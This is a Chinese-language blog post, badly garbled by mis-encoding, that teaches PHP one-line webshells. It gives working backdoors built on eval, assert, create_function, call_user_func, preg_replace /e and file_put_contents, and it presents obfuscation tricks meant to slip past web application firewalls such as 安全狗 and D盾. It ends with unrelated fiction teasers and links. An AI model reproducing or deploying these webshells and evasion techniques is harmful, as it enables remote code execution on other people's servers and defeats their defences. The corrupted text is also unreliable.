PHP一句話木馬之小馬

什么是一句話木馬

一句話木馬就是只需要一行代碼的木馬,短短一行代碼,就能做到和大馬相當(dāng)?shù)墓δ艹况ā榱死@過waf的檢測(cè)行瑞,一句話木馬出現(xiàn)了無數(shù)中變形,但本質(zhì)是不變的:木馬的函數(shù)執(zhí)行了我們發(fā)送的命令餐禁。

我們?nèi)绾伟l(fā)送命令血久,發(fā)送的命令如何執(zhí)行?

我們可以通過GET 帮非、POST 氧吐、COOKIE這三種方式向一個(gè)網(wǎng)站提交數(shù)據(jù),一句話木馬用$_GET[' ']末盔、$_POST[' ']筑舅、$_COOKIE[' '] 接收我們傳遞的數(shù)據(jù),并把接收的數(shù)據(jù)傳遞給一句話木馬中執(zhí)行命令的函數(shù)陨舱,進(jìn)而執(zhí)行命令翠拣。
所以看到的經(jīng)典一句話木馬大多都是只有兩個(gè)部分,一個(gè)是可以執(zhí)行代碼的函數(shù)部分游盲,一個(gè)是接收數(shù)據(jù)的部分误墓。

例如:<?php eval(@$_POST['a']); ?>

其中eval就是執(zhí)行命令的函數(shù),$_POST['a']就是接收的數(shù)據(jù)益缎。eval函數(shù)把接收的數(shù)據(jù)當(dāng)作PHP代碼來執(zhí)行优烧。這樣我們就能夠讓插入了一句話木馬的網(wǎng)站執(zhí)行我們傳遞過去的任意PHP語句。這便是一句話木馬的強(qiáng)大之處链峭。

示例:

phpinfo.png

因?yàn)槟抉R是接收post請(qǐng)求中 “a” 的數(shù)據(jù)( $_POST[‘a(chǎn)’]),所以我們必須以post方法發(fā)送數(shù)據(jù)并且將我們要執(zhí)行的代碼賦值給“a”畦娄。如果把木馬中的post替換成get,那么我么就需要以GET方法發(fā)送“a”弊仪,( 就像這樣: http://127.0.0.1/test.php?a=phpinfo(); )我就不再另行演示了熙卡。

使用 其他函數(shù)制作一句話木馬

assert函數(shù)

<?php assert(@$_POST['a']); ?>

create_function函數(shù)

<?php 
$fun = create_function('',$_POST['a']);
$fun();
?>

把用戶傳遞的數(shù)據(jù)生成一個(gè)函數(shù)fun(),然后再執(zhí)行fun()

call_user_func回調(diào)函數(shù)

<?php
@call_user_func(assert,$_POST['a']);
?>

call_user_func這個(gè)函數(shù)可以調(diào)用其它函數(shù)励饵,被調(diào)用的函數(shù)是call_user_func的第一個(gè)函數(shù)驳癌,被調(diào)用的函數(shù)的參數(shù)是call_user_func的第二個(gè)參數(shù)。這樣的一個(gè)語句也可以完成一句話木馬役听。一些被waf攔截的木馬可以配合這個(gè)函數(shù)繞過waf颓鲜。

preg_replace函數(shù)

<?php 
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

這個(gè)函數(shù)原本是利用正則表達(dá)式替換符合條件的字符串,但是這個(gè)函數(shù)有一個(gè)功能——可執(zhí)行命令典予。這個(gè)函數(shù)的第一個(gè)參數(shù)是正則表達(dá)式甜滨,按照PHP的格式,表達(dá)式在兩個(gè)“/”之間瘤袖。如果我們?cè)谶@個(gè)表達(dá)式的末尾加上“e”衣摩,那么這個(gè)函數(shù)的第二個(gè)參數(shù)就會(huì)被當(dāng)作代碼執(zhí)行。

file_put_contents函數(shù)

利用函數(shù)生成木馬

<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

函數(shù)功能:生成一個(gè)文件捂敌,第一個(gè)參數(shù)是文件名艾扮,第二個(gè)參數(shù)是文件的內(nèi)容既琴。

如何讓一句話木馬繞過waf ?

waf是網(wǎng)站的防火墻,例如安全狗就是waf的一種泡嘴。waf通常以關(guān)鍵字判斷是否為一句話木馬甫恩,但是一句話木馬的變形有很多種,waf根本不可能全部攔截酌予。想要繞過waf填物,需要掌握各種PHP小技巧,掌握的技巧多了霎终,把技巧結(jié)合起來滞磺,設(shè)計(jì)出屬于自己的一句話木馬。

PHP變量函數(shù)

<?php 
$a = "eval";
$a(@$_POST['a']); 
?>

第三行使用了變量函數(shù)$a莱褒,變量?jī)?chǔ)存了函數(shù)名eval击困,便可以直接用變量替代函數(shù)名。

PHP可變變量

<?php
$bb="eval";
$a="bb";
$$aa($_POST['a']);
?>

看這句就能理解上述語句:$$aa = $($aa) = $ (‘bb’) = $bb = "eval"

str_replace函數(shù)

<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>

函數(shù)功能:在第三個(gè)參數(shù)中广凸,查找第一個(gè)參數(shù)阅茶,并替換成第二個(gè)參數(shù)。這里第二個(gè)參數(shù)為空字符串谅海,就相當(dāng)于刪除"Waldo"脸哀。

base64_decode函數(shù)

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

這里是base64解密函數(shù),"ZXZhbA=="是eval的base64加密扭吁。

"."操作符

<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

parse_str函數(shù)

<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

執(zhí)行這個(gè)函數(shù)后撞蜂,生成一個(gè)變量$a,值為字符串"eval"

更多技巧...

多實(shí)戰(zhàn)侥袜,多谷歌蝌诡!
上述六種技巧每一種單獨(dú)使用都不能繞過waf,但是與 第三大點(diǎn)提到的函數(shù)混合起來使用枫吧,就可以順利的欺騙waf浦旱。
tips:使用一句話木馬的時(shí)候可以在函數(shù)前加”@”符,這個(gè)符號(hào)讓php語句不顯示錯(cuò)誤信息九杂,增加隱蔽性颁湖。

再來一個(gè)小栗子

<?php
function fun()
{return $_POST['a'];}
@preg_replace("/test/e",fun(),"test test test");
?>

這里又有一個(gè)技巧,創(chuàng)建函數(shù) fun()例隆,返回post中“a”的數(shù)據(jù)甥捺。我的這個(gè)例子很明顯是一句話木馬,但是安全狗卻掃不出裳擎,D盾也是如此涎永。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末思币,一起剝皮案震驚了整個(gè)濱河市鹿响,隨后出現(xiàn)的幾起案子羡微,更是在濱河造成了極大的恐慌,老刑警劉巖惶我,帶你破解...
    沈念sama閱讀 218,755評(píng)論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件妈倔,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡绸贡,警方通過查閱死者的電腦和手機(jī)盯蝴,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,305評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來听怕,“玉大人捧挺,你說我怎么就攤上這事∧虿t!?“怎么了闽烙?”我有些...
    開封第一講書人閱讀 165,138評(píng)論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)声搁。 經(jīng)常有香客問我黑竞,道長(zhǎng),這世上最難降的妖魔是什么疏旨? 我笑而不...
    開封第一講書人閱讀 58,791評(píng)論 1 295
  • 正文 為了忘掉前任很魂,我火速辦了婚禮,結(jié)果婚禮上檐涝,老公的妹妹穿的比我還像新娘遏匆。我一直安慰自己,他們只是感情好谁榜,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,794評(píng)論 6 392
  • 文/花漫 我一把揭開白布拉岁。 她就那樣靜靜地躺著,像睡著了一般惰爬。 火紅的嫁衣襯著肌膚如雪喊暖。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,631評(píng)論 1 305
  • 那天撕瞧,我揣著相機(jī)與錄音陵叽,去河邊找鬼。 笑死丛版,一個(gè)胖子當(dāng)著我的面吹牛巩掺,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播页畦,決...
    沈念sama閱讀 40,362評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼胖替,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起独令,我...
    開封第一講書人閱讀 39,264評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤端朵,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后燃箭,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體冲呢,經(jīng)...
    沈念sama閱讀 45,724評(píng)論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,900評(píng)論 3 336
  • 正文 我和宋清朗相戀三年招狸,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了敬拓。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,040評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡裙戏,死狀恐怖乘凸,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情累榜,我是刑警寧澤翰意,帶...
    沈念sama閱讀 35,742評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站信柿,受9級(jí)特大地震影響冀偶,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜渔嚷,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,364評(píng)論 3 330
  • 文/蒙蒙 一进鸠、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧形病,春花似錦客年、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,944評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至途乃,卻和暖如春绍傲,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背耍共。 一陣腳步聲響...
    開封第一講書人閱讀 33,060評(píng)論 1 270
  • 我被黑心中介騙來泰國(guó)打工烫饼, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人试读。 一個(gè)月前我還...
    沈念sama閱讀 48,247評(píng)論 3 371
  • 正文 我出身青樓杠纵,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親钩骇。 傳聞我的和親對(duì)象是個(gè)殘疾皇子比藻,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,979評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容

  • 在滲透測(cè)試的后期铝量,為了維持權(quán)限。我們通常都會(huì)選擇使用大小馬或者通過添加賬戶等各種各樣的方式給自己留個(gè)后門银亲。但是事情...
    自我陶醉閱讀 5,193評(píng)論 0 3
  • PHP代碼執(zhí)行函數(shù) eval & assert & preg_replace eval 函數(shù) php官方手冊(cè):ht...
    xaviershun閱讀 5,084評(píng)論 1 12
  • sqlmap用戶手冊(cè) 說明:本文為轉(zhuǎn)載慢叨,對(duì)原文中一些明顯的拼寫錯(cuò)誤進(jìn)行修正,并標(biāo)注對(duì)自己有用的信息群凶。 ======...
    wind_飄閱讀 2,051評(píng)論 0 5
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當(dāng)給sq...
    xuningbo閱讀 10,316評(píng)論 2 22
  • 平安夜圣誕節(jié)插爹。酒精哄辣、婚禮请梢、佳節(jié),我今天的思緒力穗,都被這幾個(gè)關(guān)鍵詞打亂了毅弧。腦海中酸甜苦辣五味雜陳,做起事來歇斯底里当窗。好...
    王爍兒閱讀 75評(píng)論 0 0